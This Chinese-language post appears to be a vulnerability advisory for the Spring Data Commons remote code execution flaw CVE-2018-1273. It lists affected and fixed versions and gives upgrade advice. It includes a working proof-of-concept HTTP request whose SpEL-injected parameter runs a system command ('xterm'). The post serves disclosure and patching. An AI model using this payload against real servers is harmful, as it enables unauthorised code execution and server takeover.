POC验证测试Spring Data Commons组件远程代码执行漏洞(CVE-2018-1273)

时间:2021-08-19 18:01:08

Spring Data Commons爆出远程代码执行漏洞(CVE-2018-1273),攻击者可构造包含有恶意代码的SPEL表达式实现远程代码攻击,直接获取服务器控制权限。

这是POC验证漏洞的测试http请求:

POST /users HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 164
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf


受影响范围

  • Spring Data Commons 1.13 - 1.13.10(Ingalls SR10)
  • Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
  • Spring Data Commons 2.0 - 2.0.5 (Kay SR5)
  • Spring Data REST 3.0 - 3.0.5 (Kay SR5)
  • 已不支持的旧版本

解决方案:

建议及时更新到官方最新版

Spring Data Commons组件:

  • 2.0.x版本用户更新至2.0.6
  • 1.13.x版本用户更新至1.13.11

已不支持的旧版本请更新到官方提供支持的最新版本

已经修复的版本:

  • Spring Data REST 2.6.11 (Ingalls SR11)
  • Spring Data REST 3.0.6 (Kay SR6)
  • Spring Boot 1.5.11
  • Spring Boot 2.0.1